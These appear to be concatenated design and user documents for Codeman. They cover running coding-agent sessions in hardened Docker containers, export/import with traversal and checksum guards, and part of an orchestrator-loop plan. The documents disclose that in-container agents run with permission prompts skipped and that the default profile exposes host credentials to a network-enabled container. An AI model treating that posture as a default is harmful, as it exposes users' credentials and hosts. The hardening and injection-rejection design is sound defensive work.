2.`docker save codeman/export-<slug>:<ts> | gzip` streamed in fixed 8192-byte chunks to `~/.codeman/docker-exports/<slug>-<ts>.image.tar.gz`. Uses `docker save` (layers + repo:tag + CMD), never `docker export` (flat rootfs), so restore is a trivial `docker load`.
3.`tar --numeric-owner -C <hostWorkspacePath> -czf <slug>-<ts>.workspace.tar.gz .` while paused (the bind-mounted workspace is NOT in the image, so it travels separately and consistently).
4. Write `manifest.json`: schema version, caseName, image tag, engine, containerWorkdir, resource/network config, codeman version, base-image digest, createdAt, per-member sha256, `mountCredentials`, and `secretFree` (true only for convenient-mode or scrubbed-sealed exports).
5.`docker rmi codeman/export-<slug>:<ts>` in the `finally` (delete the intermediate committed image regardless of success), then `docker unpause`.
The three files are wrapped in one bundle `<slug>-<ts>.codeman-container.tgz` and offered as a downloadable artifact through the existing file-routes streaming + attachment-registry handoff.
Retention / disk budget (user-decision 3): `docker-exports/` is capped at `DOCKER_EXPORT_KEEP` most-recent bundles with an auto-prune on each new export, plus the free-space precheck above. Workspace scrub: the WORKSPACE tar gets a scan/warn pass for agent-created `.env` / `.git/credentials` (a distinct leak channel from container creds). A lighter "workspace-only" export (just the workspace tar, no commit/save) is the fast default for 24h+ runs; full-image is the explicit heavier option (user-decision 7 in the original list, now decision on the default button below).
What travels: the baked toolchain image plus any in-image writes, and the workspace tar. What does NOT travel: bind-mounted credentials (physically excluded from commit) and anything that lived only in a bind mount. Secret-free by construction in convenient mode, and enforced (refuse-or-scrub) in sealed mode.
IMPORT `POST /api/docker-cases/import` (untrusted-bundle containment, the traversal/overwrite risk): stream the uploaded bundle, validate every manifest checksum BEFORE any extraction or load. Extract the workspace tar with `tar --no-absolute-names -C <fresh dir>` PLUS per-entry validation rejecting any member whose normalized path escapes the destination (leading `/` or `..` components). `gunzip | docker load` the image, then RE-TAG the loaded image id into a quarantined namespace `codeman/imported-<slug>:<ts>` and NEVER allow the load to overwrite `codeman/agent:base` or any pre-existing tag (capture the loaded id, ignore the bundle's repo:tag). Create a NEW `DockerCase` pointing at the quarantined image with THIS host's mounts/creds and the manifest's resource/network config, and recreate the container hardened (cap-drop ALL, no-new-privileges, non-root, `--pull=never`, CMD overridden to `sleep infinity`). The destination supplies its own login, so credentials never cross machines. Plus `GET /api/docker-exports` (list) and `DELETE /api/docker-exports/:filename`, all behind Codeman's existing auth / loopback-default / host-guard / Origin-CSRF stack.
## 6. Codeman integration (file-by-file, mirroring the remote-SSH feature)
-`src/types/session.ts`: add `DockerCommandMode`, `DockerEngine`, `DockerNetworkMode`, `DockerResourceLimits`, `DockerHost`, `DockerCase`, `SessionDocker` (Section 3). Add `docker?: SessionDocker` to `SessionState` after line 219. SessionMode (line 44) UNCHANGED.
-`src/docker-hosts.ts` (NEW, direct mirror of `src/remote-hosts.ts`): `readDockerHosts`/`writeDockerHosts`/`readDockerCases`/`writeDockerCases` (via `dataPath`, including `lastClaudeSessionId` read/write), `defaultDockerCommandForMode` (mirror line 60), `dockerDisplayPath` (`container:/path`, mirror `remoteDisplayPath` at 205), `toSessionDocker(host, case)` (mirror `toSessionRemote` at 212), `buildDockerBaseArgs`/`buildDockerCreateArgs` (per-engine uid/userns branch), `hostGatewayAlias(engine)`, `containerApiUrl(processApiUrl, engine)` (scheme+port-preserving, unit-tested), `checkDockerAvailable`/`checkDockerTmuxAvailable`/`probeDockerCliVersion` (15s-bounded, `IS_TEST_MODE` no-op), a config-hash helper for drift, its own POSIX `shellescape` copy (mirror line 83). `const IS_TEST_MODE = !!process.env.VITEST;` gates every real `docker` invocation.
-`src/tmux-manager.ts`: add `DOCKER_TMUX_SOCKET`, `dockerTmuxSessionName`, `buildDockerLaunchCommand` (resume-aware, image-check, env-prime), `buildDockerKillCommand` (Section 4). Extend the two `fullCmd` ternaries (1276, 1524) and the two `launchCmd` cd-skips (1327, 1542). Add `killSession` Strategy 3c after 1719. Ensure `reconcileSessions` (~1800-1815) does NOT hard-delete docker sessions on local-tmux death (recovery relaunch path).
-`src/session.ts`: add `_docker?: SessionDocker` field (mirror `_remote` at 403), constructor arg (477), assignment (550). Thread `docker: this._docker` and `resumeSessionId: this._claudeSessionId` into BOTH `createSessionOptions` and `respawnPaneOptions` in `startInteractive` (1352/1370) and the second path (1740/1750). Emit `docker: this._docker` in `toState()` (1010). Replace the LOCAL cliVersion probe at 1320 for docker with the IN-CONTAINER `probeDockerCliVersion` (do not merely skip it). Extend `resolveMuxAttachCwd(workingDir, remote, docker)` (215) to return `/tmp` when `docker` is set. On claudeSessionId capture, persist it to the owning `DockerCase.lastClaudeSessionId`.
-`src/web/server.ts`: in `restoreMuxSessions` (2160), add `docker: muxSession.docker ?? savedState?.docker` to the `new Session({...})` call (2195-2216), and skip docker in the same `isExternalCliMode`/Ralph recovery guards as remote. Register the instance-scoped boot reaper to run AFTER docker-cases load and AFTER `restoreMuxSessions`. Ensure `CODEMAN_API_URL` derivation reads the SAME `process.env.CODEMAN_API_URL` the server sets at ~2000.
-`src/web/schemas.ts`: add `DockerHostSchema` and `DockerCaseLinkSchema` (below). The three mode enums (177/373/705) and `QuickStartSchema` (368) UNCHANGED (docker resolves by `caseName` lookup like remote).
-`src/web/routes/session-routes.ts`: import the docker helpers from `../../docker-hosts.js`. Add a docker branch in `/api/quick-start` parallel to the remote branch (1686-1720): `readDockerCases` -> find by `caseName` -> `readDockerHosts` -> find by `hostId`; reject `envOverrides`/`effort`/`codexConfig`/`geminiConfig`/`openCodeConfig` (but ACCEPT `modelOverride`, which flows via scaffolded `settings.local.json`); run `checkDockerAvailable` + `checkDockerTmuxAvailable` (image-present, engine, caps-enforced); surface `capsEnforced:false` and Desktop notes; set `casePath = dockerCase.hostWorkspacePath` (REAL host dir), `docker = toSessionDocker(host, dockerCase)`, and seed `resumeSessionId` from `dockerCase.lastClaudeSessionId` when `resumeOnStart`. Extend the LOCAL-availability and local-spawn guards (around 1796/1810) to `!remote && !docker`, but DO NOT extend the workspace-scaffolding guard (~1776, `writeHooksConfig`/`updateCaseModel`), which MUST run for docker. Pass `docker` into `new Session` (1847); `autoConfigureRalph` (1853) gated on `!docker`. Add `docker: m.docker !== undefined ? true : undefined` to the unified harvest (2313).
-`src/web/routes/case-routes.ts`: import the docker read/write/check helpers + schemas. Add a docker listing loop in `GET /api/cases` (mirror 94-119, `location: 'docker'`, `docker: {...}` via `dockerDisplayPath`). Add `/api/docker-hosts` GET/POST/PUT/DELETE (mirror 168-204) and `POST /api/cases/docker-link` (mirror 206-232; run `checkDockerAvailable`/`checkDockerTmuxAvailable` at link time; broadcast `CaseLinked` with `type: 'docker'`). Add a docker-unlink branch to `DELETE /api/cases/:name` (mirror 288-296; `docker rm -f`; broadcast `CaseDeleted``type: 'docker-unlinked'`). Add the docker branch to single-case `GET` (mirror 358-368). Add `POST /api/docker-cases/:name/export`, `/import`, `GET/DELETE /api/docker-exports`, and a `POST /api/docker-cases/:name/recreate` (drift confirm) per Sections 4 and 5.
-`src/web/sse-events.ts` + `src/web/public/constants.js`: reuse `CaseLinked`/`CaseDeleted` for CRUD. Add `docker:exportProgress`, `docker:exportComplete`, `docker:importComplete`, `docker:configDrift`, and `docker:containerError` to BOTH registries (kept in sync per CLAUDE.md).
- Frontend `src/web/public/index.html` (~1831): add a Docker `modal-tab-btn` next to Remote; add a `#case-docker` panel mirroring `#case-remote` with `dockerCaseName`, `dockerHostWorkspacePath`, `dockerContainer`, `dockerImage`, `dockerHostId`, and an Advanced `<details>` for network mode, resource caps, `mountCredentials`, `resumeOnStart`, and remote daemon. Surface a "scaffolds .claude into this host dir" note (user-decision 4) and a "resource caps advisory on this engine" warning when `capsEnforced:false`.
- Frontend `src/web/public/session-ui.js`: `formatCasePickerLabel` (48) + `buildCasePickerOptions` (71-73) handle `location === 'docker'` (`name @ container`, add container/image to the search haystack); `resetCaseModalFields` (~1514) add a `dockerFields` array; `switchCaseModalTab` (1573/1580/1597) handle `'case-docker'`; `submitCaseModal` add the docker branch; new `linkDockerCase()` (mirror `linkRemoteCase` at 1689) POSTing `/api/docker-hosts` then `/api/cases/docker-link`, sending omitted optionals as `undefined` (spread `...(x ? {x} : {})`, never `null`, per the Zod `.optional()`-rejects-null gotcha); `runClaude` (520) / `runShell` (702) extend the `location === 'remote'` routing to also match `'docker'`; `runOpenCode`/`runCodex`/`runGemini` (792/846/900) make the `isRemote` checks `isRemoteOrDocker` so local status probes are skipped. In the session-options Summary tab, note that `effort` is inert for docker (rejected) while `model` IS honored via `settings.local.json`.
- Frontend `src/web/public/panels-ui.js` (425-426): add `caseItem?.docker?.path`/`container` to the case-search fields.
`NO_SHELL_META` (rejects `$`/backtick, schemas.ts:297) is REQUIRED on `image`, `hostWorkspacePath`, `containerWorkdir`, and `container`, because all four reach the outer `bash -c "..."` double-quote layer where `$(...)`/backtick re-expose, exactly the reason `remotePath`/`identityFile` use it. `--privileged` and any `-v /var/run/docker.sock` are structurally unrepresentable (never emitted by the builder, never accepted by the schema).
## 7. Security model
- Hardening flags on every create: `--cap-drop ALL`, `--security-opt no-new-privileges` (NOT auto-set by rootless Docker or Podman, so always explicit), the uid/userns branch of Key decision 6 (never container-root; workspace files stay host-owned and HOME stays writable via GID 0), `--pids-limit` (fork-bomb guard), `--memory` with `--memory-swap == --memory` (real OOM cap), `--ulimit nofile`, `--init`, `--pull=never`. NEVER `--privileged`, NEVER mount the docker socket into the agent container. `--storage-opt size=` is emitted ONLY after the probe confirms overlay2-on-xfs-pquota or btrfs (the AICE-class silently-ignored trap); otherwise it is omitted and the UI does not advertise a size cap. Resource caps are advertised as ENFORCED only when the probe reports `capsEnforced:true`; under non-delegated rootless they are labeled advisory (user-decision 6).
- Engine: prefer whichever the probe finds, Podman-rootless first for security (a container-root breakout lands as an unprivileged host user). Rootless bind-mount ownership uses `--userns=keep-id` (Podman) vs `--user <hostUid>:0` (Docker), so real per-engine branching lives in `buildDockerCreateArgs`. Docker Desktop takes its own uid path (Key decision 6).
- Blast radius (the combined-posture the critic asked to surface, user-decision 5): the default convenient profile mounts an arbitrary host workspace dir RW (host-owned, mirrored path) AND host `~/.claude`/`~/.codex`/`~/.gemini`/`~/.config/gcloud`/`~/.config/opencode` RW into a NETWORK-ENABLED container. Container-run agent code can therefore read/modify those host trees and reach the network simultaneously. This is still a strict improvement over today's on-host skip-permissions execution, but the user must accept the combined posture explicitly; the sealed profile plus `network:none` is the mitigation for genuinely untrusted work.
- Secret handling: creds arrive ONLY as bind-mounted files (default) or exec-time NAME-ONLY `--env` (codex/gemini keys), NEVER as create-time `-e` and NEVER as an image layer. Sealed-mode export is refuse-or-scrub (Section 5), closing the sealed-leak inversion.
- CLAUDE.md "Multi-CLI prefix discipline": the exec-time name-only env is restricted to the CLI-specific keys per mode (Claude: none with OAuth mount; Codex: `OPENAI_API_KEY`/`CODEX_API_KEY`; Gemini: `GEMINI_API_KEY`/`GOOGLE_*`), never a blanket forward. `envOverrides` is rejected for docker, so the `ALLOWED_ENV_PREFIXES` allowlist is not widened.
- hook-secret: bind-mounted read-only, referenced via `CODEMAN_HOOK_SECRET_FILE` (a path, non-secret); the secret bytes never enter env or the image. Both `host.docker.internal` and `host.containers.internal` are added to the host-guard allowlist so the in-container hook curl's Host header passes on either engine.
- Host guard / instance isolation: the in-container tmux socket (`codeman-docker`) and name (`codeman-dkr-<id8>`) deliberately FAIL a container-internal Codeman's `SAFE_MUX_NAME_PATTERN`, so a nested Codeman never adopts our session (unit-asserted). The boot reaper is instance-scoped by the `codeman.instance` label so a beta never reaps prod. Any remote-daemon (`-H`/`--context`) mode is host-root-equivalent and stays strictly behind the existing auth/loopback/host-guard/Origin-CSRF stack.
- Import containment: untrusted bundles are checksum-validated, extracted with traversal guards, and loaded into a quarantined image namespace (never overwriting the base image), then run with the same hardening.
Each phase is independently testable; per CLAUDE.md, end-to-end test in the real env before COM. All new docker IO paths carry `const IS_TEST_MODE = !!process.env.VITEST;` and no-op under it; the pure command builders are tested directly.
- Phase 0: base image + engine probe. Author `docker/agent.Dockerfile` (OpenShift arbitrary-uid HOME) and `scripts/build-agent-image.mjs` (build or pull the base image; digest recorded). Add `checkDockerAvailable`/`checkDockerTmuxAvailable`/`containerApiUrl`/`hostGatewayAlias` (IS_TEST_MODE no-op) and `GET /api/docker/status`. Test: probe stub returns available/caps/Desktop flags under VITEST; `containerApiUrl` preserves scheme+port and swaps host per engine; status route returns the envelope.
- Phase 2: tmux-manager builders. Add `DOCKER_TMUX_SOCKET`, `dockerTmuxSessionName`, `buildDockerLaunchCommand` (resume-aware, image-check, env-prime), `buildDockerKillCommand`; wire the two ternaries + two cd-skips + Strategy 3c; harden `reconcileSessions` against docker hard-delete. Test (pure strings): adopt-proof name fails `SAFE_MUX_NAME_PATTERN`; image-check precedes create; `new-session -A` idempotent; resume flag present only when a resume id is passed; `--pull=never` present; instance label present; escaping survives `bash -c` -> `docker exec` -> `sh -lc` -> tmux WITH a host workspace path containing spaces.
- Phase 3: session.ts + mux + recovery. Add `_docker` + `resumeSessionId` threading, in-container cliVersion probe, `resolveMuxAttachCwd`, mux-interface fields, `restoreMuxSessions` passthrough, instance-scoped reaper wiring, claudeSessionId -> `DockerCase.lastClaudeSessionId` persistence, unified flag. Test: `toState()` emits docker; a persisted docker session round-trips through mux/state; a relaunch injects the persisted resume id (mock mux); reaper only targets this instance's orphaned containers.
- Phase 4: routes + first real e2e. case-routes CRUD + listing + drift-recreate; session-routes quick-start branch (scaffolding RUNS, local-availability guards skip, model accepted, effort/config rejected). Manual e2e on a real docker host: docker-host create -> docker-link -> quick-start; confirm the pane runs `claude` in the container, files land host-owned, a Codeman restart reattaches the SAME live agent, and a `docker stop` followed by relaunch RESUMES the conversation.
- Phase 5: hooks connectivity + installation. host-gateway (per engine), derived `CODEMAN_API_URL`, hook-secret mount, `CODEMAN_SESSION_ID`/`CODEMAN_MUX` exec-env + tmux setenv, host-guard allowlist, and the scaffolding write into the real workspace. Manual e2e: trigger a permission prompt from inside the container and confirm it surfaces; verify hook payloads carry the right session id. If deferred, ship docker as explicitly hook-degraded and verify output-based idle detection through the docker-exec PTY.
- Phase 6: export/import + GC + disk safety. quiesce+pause span, free-space precheck, commit+save+gzip + workspace tar + manifest + streaming download; sealed-mode refuse-or-scrub; retention/auto-prune; import with checksum validation + traversal guard + quarantined re-tag; drift-recreate; boot reaper; `runWithConversionLimit` cap; `docker rmi` in finally. Manual e2e: export, `docker load` on a second machine (or fresh case), import, confirm toolchain + workspace restored and NO creds present; attempt a sealed full-image export and confirm it is refused-or-scrubbed; attempt a `../` bundle and confirm it is rejected.
- Phase 7: frontend. Docker tab, `linkDockerCase`, run wiring, case-picker labels, panels search, caps-advisory + scaffold-warning + effort-inert notes. Verify with Playwright (`waitUntil: 'domcontentloaded'`, 3-4s settle) that the Docker tab renders and a linked docker case appears in the picker.
- Phase 8: docs + COM. Update CLAUDE.md (a "Docker cases" Key Pattern paragraph mirroring remote-SSH, plus the new state files, routes counts, and the resume/durability model), `docs/docker-cases.md`, then COM per the standard flow.
## 9. Test plan
- Unit (pure, CI-safe, mirror `test/remote-hosts.test.ts` / `test/remote-ssh-options.test.ts`):
-`test/docker-hosts.test.ts`: storage round-trip (incl. `lastClaudeSessionId`), `dockerDisplayPath`, `defaultDockerCommandForMode`, `toSessionDocker`, `containerApiUrl` (http/https, custom port, docker vs podman gateway), config-hash stability/drift, `buildDockerCreateArgs` flag ordering (cap-drop/no-new-privileges/memory==memory-swap/instance-label/`--pull=never` present; host/privileged/socket absent; per-engine uid vs `--userns=keep-id`).
-`test/docker-exec-options.test.ts`: `buildDockerLaunchCommand`/`buildDockerKillCommand` string shape and escaping through `bash -c` -> `docker exec` -> `sh -lc` -> tmux, including a workspace path with spaces; resume flag present only with a resume id; image-presence check precedes create; `dockerTmuxSessionName` fails `SAFE_MUX_NAME_PATTERN`; schema rejects `$`/backtick in image/workdir/container/name; `linkDockerCase`-shaped bodies with omitted optionals validate (no `null` on the wire).
- Probe no-op: `checkDockerAvailable`/`checkDockerTmuxAvailable`/`probeDockerCliVersion` return canned values under VITEST and never spawn.
- Integration (route tests via `app.inject()`, docker no-op'd): `/api/docker-hosts` CRUD; `/api/cases/docker-link` dup-check + broadcast; `GET /api/cases` includes the docker case with `location: 'docker'`; `/api/quick-start` docker branch rejects `envOverrides`/`effort`/config but ACCEPTS `modelOverride`, runs the workspace-scaffolding path, and constructs a session with `docker` set + seeded resume id; `DELETE /api/cases/:name` docker-unlink; export refuse-or-scrub for sealed; import traversal rejection; reaper instance-scoping (label filter). Pick a unique port only if a live-server test is added (search `const PORT =`; 3150+).
- Manual end-to-end (real docker daemon, the mandatory "always end-to-end test" gate): build the base image; link a docker case; quick-start `claude`; verify OAuth via the mounted `~/.claude`, transcript correlation (subagent/workflow watchers show the session), host-owned files, and a working permission-prompt hook; reattach after a Codeman PROCESS restart (SAME live agent); `docker stop` then relaunch and confirm conversation RESUME; reboot-equivalent (daemon restart) and confirm boot recovery recreates+resumes; change the host's memory/image and confirm the drift-recreate prompt fires; export (convenient) and confirm the tar `docker load`s with no creds; attempt a sealed full-image export and confirm refuse-or-scrub; import into a fresh case; delete the case and confirm `docker rm -f` plus instance-scoped reaper GC; confirm a docker-down state surfaces a docker-specific error and does NOT trip the generic PTY-exit breaker.
## 10. Open decisions for the user
1. Credential + blast-radius posture (combined). Convenient default bind-mounts host `~/.claude` etc. RW AND an arbitrary host workspace RW into a network-enabled container, so container-run agent code can read/modify those host trees and reach the network at the same time. Recommended: convenient default plus a per-host SEALED opt-in (`mountCredentials:false` + `network:none`) for untrusted work. Please confirm you accept the combined arbitrary-workspace-plus-egress-plus-host-creds posture for the default profile (it is still a net improvement over today's on-host skip-permissions execution).
2. Base image ownership, registry, and freshness. The `codeman/agent:base` placeholder implies a Docker Hub org the project may not own. Pick the real registry/namespace (GHCR under the repo is the natural fit), decide digest pinning, and set a REBUILD CADENCE so agents are not stuck on a stale baked `claude` (the in-container version probe surfaces staleness, but something must trigger rebuilds). Choose: pull a pinned published image, build locally on first use via `scripts/build-agent-image.mjs`, or both.
3. Container CWD strategy. Mirror the host workspace path inside the container (recommended: makes transcript projHash correlate, file features and resume capture work) vs a fixed `/workspace` (simpler mount, breaks watcher correlation). Please confirm the mirror approach.
4. Hooks in the MVP AND workspace scaffolding. Making docker hooks fire requires WRITING `.claude/settings.local.json` (and the CLAUDE.md scaffold) into the user's REAL linked host directory, a behavioral shift from "link a dir" to "link and scaffold a dir." Choose: wire hooks + scaffolding now (Phase 5, recommended, and it also enables the model picker), or ship docker as explicitly hook-degraded (no permission prompts / hook-idle) for v1 and add later. Confirm you are OK with Codeman mutating the linked host workspace.
5. Session-kill teardown and RESUME (reframed honestly). `docker stop` on session kill is not merely "free RAM vs instant reattach": it destroys the in-container live agent, and the conversation survives ONLY because the next launch runs `--resume` from the bind-mounted transcript. Choose: keep the container running (costs RAM, preserves the exact live in-flight agent) vs stop and rely on `--resume` (frees RAM, may lose uncommitted in-flight tool state). Case-delete always `docker rm -f`.
6. Rootless enforcement posture. Under rootless without cgroup-v2 systemd delegation, `--memory`/`--cpus`/`--pids-limit` are SILENTLY ignored. Choose: REQUIRE delegation (refuse to link a host that cannot enforce caps) or ship-with-warning ("resource caps are advisory on your engine"). The probe reports `capsEnforced` either way.
7. Default resume behavior. Should a re-linked or re-run docker case default to resuming its last conversation (`resumeOnStart:true`, using `DockerCase.lastClaudeSessionId`) rather than starting clean? This is the crux of making the durability story real and is the recommended default, but it changes user-visible behavior (a new session in an existing case continues the prior conversation).
8. Export defaults and disk budget. Default export button: workspace-only (fast, small, files-only, recommended for 24h+ runs) vs full-image (reproducible env, multi-GB). Also set the retention cap (max retained exports), the auto-prune policy, and the free-space threshold below which export is refused (a full `/var/lib/docker` breaks EVERY session on the host, not just docker ones).
9. Remote docker daemon (`-H ssh://...` / `--context`). Support in the MVP (composes with remote hosts, adds host-root trust surface) or local-daemon-only first.
10. Podman parity depth. Full `--userns=keep-id` plus Quadlet boot-persistence, or Docker-first with Podman as best-effort and boot-persistence via Codeman's idempotent create-if-missing only. Note the podman host alias is `host.containers.internal`, already handled per engine.
Run a case inside an **isolated Docker container** instead of directly on the host. Any number of Codeman sessions can share one container (it is scoped to the case, not the session), so a whole project lives in a sandbox with its own network, resource caps, and filesystem, and you can **export the container to move it to another machine**.
Docker mode is a **location overlay on cases**, the direct analog of [remote SSH cases](./remote-hosts.md): where a remote case runs a local tmux pane doing `ssh host` into a durable remote tmux server, a docker case runs a local tmux pane doing `docker exec -it` into a durable **in-container** tmux server. It is not a separate `SessionMode`, so `claude` / `shell` / `opencode` / `codex` / `gemini` all work inside the container.
## One-time setup: build the base image
The container needs a base image with the agent toolchain (node, the CLIs, git, tmux). Build it locally once:
The image is **secret-free**: credentials are delivered at runtime (bind mounts or `docker exec --env`), never baked in, so exports never leak them.
## Quickest path: one-click "Run in Docker"
On the **New case → Create New** tab there's a **🐳 Run in an isolated Docker container** checkbox. Checking it alone is enough: Codeman creates the case folder in `~/codeman-cases/<name>`, spins up a hardened container with sensible defaults (auto-provisioning a shared `default` host), and starts the session inside it. No host/image/network fields to fill in.
Click the checkbox's **Container settings** to optionally tweak the predefined defaults, including a **Template** picker:
| Template | Memory | CPUs | GPUs |
|----------|--------|------|------|
| Small | 2 GB | 1 | none |
| Medium (default) | 4 GB | 2 | none |
| Large | 8 GB | 4 | none |
| GPU | 8 GB | 4 | all (needs the NVIDIA container toolkit) |
**Disk is elastic** — the container's storage grows automatically as data flows in; there is no fixed cap (bounded only by host disk). Any tweaked setting creates a dedicated per-case host so it never changes the shared `default`.
## Create a docker case (full control)
App → **New case → Docker** tab:
- **Case Name** / **Workspace Path**: the workspace is a real HOST directory bind-mounted into the container at the same path. Codeman scaffolds `CLAUDE.md` + `.claude/settings.local.json` (hooks) into it, and file previews / attachments work on the real bytes.
- **Host ID**: a reusable docker host profile (image, network, resources). Reuse the same ID across cases to share settings.
- **Network**: `bridge` (internet on, default), `none` (fully isolated), or a `custom` bridge.
- **Advanced**: memory / CPU caps, **Mount host credentials** (on = your existing `~/.claude` login just works; off = a sealed sandbox you log into inside the container), **Resume last conversation on relaunch**.
Then run it like any case (Run Claude / Run Shell / …). The first launch creates the container (`codeman-case-<name>`); subsequent sessions attach to the same one.
Equivalent API:
```bash
curl -X POST localhost:3000/api/docker-hosts -d '{"id":"local","label":"Local","image":"codeman/agent:base"}'
curl -X POST localhost:3000/api/cases/docker-link -d '{"name":"sandbox","hostId":"local","hostWorkspacePath":"/home/you/projects/sandbox"}'
curl -X POST localhost:3000/api/quick-start -d '{"caseName":"sandbox","mode":"claude"}'
```
## Lifecycle
- **Reconnect after a Codeman restart** lands back in the same live agent (the in-container tmux survives).
- **Container stop / host reboot** recreates the container and, when a resume id was captured, **resumes** the last conversation from the bind-mounted transcript.
- **Killing one session** only kills that session's in-container tmux session; the shared container stays up for sibling sessions.
- **Deleting the case** `docker rm -f`s the container (the bind-mounted workspace on the host survives). An instance-scoped boot reaper removes containers whose case is gone.
## Isolation & security
Every container runs hardened: `--cap-drop ALL`, `--security-opt no-new-privileges`, non-root (`--user <hostUid>:0` so workspace files stay host-owned), `--pids-limit`, `--memory` == `--memory-swap`, `--init`. Never `--privileged`, never the docker socket. The default **convenient** profile bind-mounts host credential dirs read-write so the common login just works (creds stay on the host, never captured by `docker commit`); the **sealed** profile (`mountCredentials:false` + `network:none`) is the opt-in for genuinely untrusted work.
Rootless engines without cgroup-v2 systemd delegation cannot enforce resource caps; linking such a host warns that caps are advisory.
## Export / Import (move to another machine)
**Export** (from the Docker tab, or `POST /api/docker-cases/:name/export`): choose
- **Full image + workspace**: `docker commit` the container to an image, `docker save` it, tar the workspace, and a manifest, all into one portable `<case>-<ts>.codeman-container.tgz` (the whole toolchain, installed packages, and files). Runs in the background; you are notified when the bundle is ready.
- **Workspace only**: just the project files (fast, small).
The container is paused across the capture so the image and workspace are consistent; a full `/var/lib/docker` is guarded against with a free-space precheck; the intermediate image is always cleaned up.
**Import** (`POST /api/docker-cases/import`, or the Manage tab): copy the `.tgz` onto the new machine's `~/.codeman/docker-exports/`, then import it into a new case. The manifest and per-member SHA-256 checksums are validated, the workspace tar is extracted with a path-traversal guard, and the image is `docker load`ed and **re-tagged into a quarantined namespace** (`codeman/imported-<case>:<ts>`) so it never overwrites a local tag. The destination supplies its own credentials, so nothing secret crosses machines.
## Hooks require the server to be reachable from the container
In-container hooks (permission events, hook-based idle/stop/task notifications) POST to `CODEMAN_API_URL`, which is derived as `https://host.docker.internal:<port>` (`host.docker.internal` → the docker bridge gateway, e.g. `172.17.0.1`, via `--add-host …:host-gateway`). For that callback to succeed, the Codeman server must be **listening on an interface the container can reach**.
- If Codeman binds **loopback-only** (`127.0.0.1`, the default and the production systemd config), a container reaching `172.17.0.1:<port>` cannot connect, so by default **in-container hooks do not fire**. The session still works fully: idle/stop detection falls back to **output-based** detection through the `docker exec` PTY (which always works), and claude runs with `--dangerously-skip-permissions` so there are no permission prompts to forward anyway.
- **To enable in-container hooks on a loopback-only server, set `CODEMAN_DOCKER_BRIDGE_HOOKS=1`** (env). Codeman then starts a SECOND listener bound to the docker bridge gateway (`172.17.0.1`, auto-detected; override with `CODEMAN_DOCKER_BRIDGE_HOST`) that serves **only the hook endpoints** (`/api/hook-event`, `/api/status-telemetry`) and delegates them into the same secret-gated pipeline. The bridge is host-internal (containers + host, not the LAN), and every other path returns `403`, so this does not widen your network exposure. Add `Environment=CODEMAN_DOCKER_BRIDGE_HOOKS=1` to the systemd unit and restart.
- Alternatively, bind `0.0.0.0`**with `CODEMAN_PASSWORD` set** (exposes on the LAN too).
The host-gateway mapping, `CODEMAN_API_URL` derivation, host-guard allowlist, and hook-secret mount are all wired correctly; `CODEMAN_DOCKER_BRIDGE_HOOKS` closes the last gap for loopback-only servers.
## Notes & limits
- Requires Docker (or Podman) with a reachable daemon; tmux must be present in the base image (a hard prerequisite, probed at link time).
- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead.
- macOS Docker Desktop takes a dedicated uid path (the baked image uid; memory caps are subject to the VM ceiling).
> **Status: SHIPPED.** Implementation lives in `packages/xterm-zerolag-input/src/` (overlay-renderer.ts, prompt-finder.ts, cell-dimensions.ts, zerolag-input-addon.ts) with the embedded copy in `src/web/public/app.js`. This document is retained as historical design context.
## Context
User accesses Codeman remotely from Thailand to Switzerland over Tailscale (~200-300ms RTT).
@@ -18,9 +20,9 @@ redraws. A DOM overlay sits in a separate rendering layer (z-index 7) and doesn'
with Ink's cursor management or screen redraws at all. When Ink redraws (server output arrives),
we simply hide the overlay.
**Why it will look indistinguishable:** We use the DOM renderer (not canvas/WebGL) in our
xterm.js v5.3.0, so both terminal text and overlay text are rendered by the same browser
font engine with identical sub-pixel rendering.
**Why it will look indistinguishable:** We use the DOM renderer (not canvas/WebGL), so both
terminal text and overlay text are rendered by the same browser font engine with identical
sub-pixel rendering. (Originally designed against xterm.js v5.3.0; project now on `@xterm/xterm` ^6.0.0 — the internal `_core._renderService.dimensions` access path still works in v6.)
## Key Technical Details (from research)
@@ -36,7 +38,7 @@ const top = cursorY * dims.css.cell.height; // CSS pixels, relative to .xterm-
-`cursorY` = `terminal.buffer.active.cursorY` (0 to terminal.rows-1, ALREADY viewport-relative)
- No scroll offset math needed
### Cell Dimensions (v5.3.0 — no public API, use internal)
### Cell Dimensions (no public API in v5/v6 — use internal; public in v7+)
│ → Re-execute entire phase with learnings from failure
│ → Modified prompt includes what went wrong
│
└─ Orchestration-level failure
→ All retries exhausted
→ state = FAILED
→ Notify user with detailed failure report
→ User can: modify plan → retry, skip phase → continue, or stop
```
## Interaction with Ralph Loop
Ralph Loop and Orchestrator Loop are **mutually exclusive** on the same sessions:
```
if (orchestratorLoop.isRunning()) {
// Orchestrator controls task assignment
// Ralph Loop should not interfere
// Respawn Controller uses 'orchestrator' preset
}
if (ralphLoop.isRunning()) {
// Ralph controls task assignment
// Orchestrator should not start
}
```
The Orchestrator can optionally USE the Ralph Loop internally for phase execution (delegate phase tasks to Ralph's queue), or manage task assignment directly. Decision: **manage directly** — gives more control over phase boundaries and verification timing.
# Orchestrator Loop — Detailed Implementation Plan (v2)
> Internal research/planning document. Not for GitHub.
## Vision
The **Orchestrator Loop** is a new autonomous execution mode that transforms high-level user goals into phased, verified, team-coordinated implementations. Unlike Ralph Loop (flat task queue → idle sessions), the Orchestrator manages the full lifecycle: **plan → approve → execute → verify → adapt → complete**.
```
USER: "Add OAuth2 login with Google/GitHub, role-based access control, and API key management"
- Create a `CreateTaskOptions` from `OrchestratorTask`
- Add to `TaskQueue` with proper dependencies + completion phrase
- Store the TaskQueue task ID in `OrchestratorTask.queueTaskId`
3. Poll task completion (listen to TaskQueue events)
4. When all tasks complete → call `onPhaseTasksComplete()`
5.`onPhaseTasksComplete()` triggers verification
**How tasks get assigned to sessions:**
The OrchestratorLoop does NOT manage session assignment directly. It adds tasks to the existing TaskQueue and starts a mini poll loop that assigns pending tasks to idle sessions — the same pattern as RalphLoop's `assignTasks()`. This reuses existing session management.
**Team agent flow:**
For phases with `teamStrategy.type === 'team'`:
- Start a single session with `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
- Instead of adding individual tasks to TaskQueue, send ONE comprehensive prompt to the lead
- The prompt instructs the lead to create teammates and delegate
- Monitor via TeamWatcher for team task completion + hook events
- Phase completion is detected via the lead's completion phrase
### Step 5: `src/web/routes/orchestrator-routes.ts` — API endpoints
~300 lines.
```
POST /api/orchestrator/start — { goal, config? } → start planning
POST /api/orchestrator/approve — approve generated plan
POST /api/orchestrator/reject — { feedback } → reject + replan
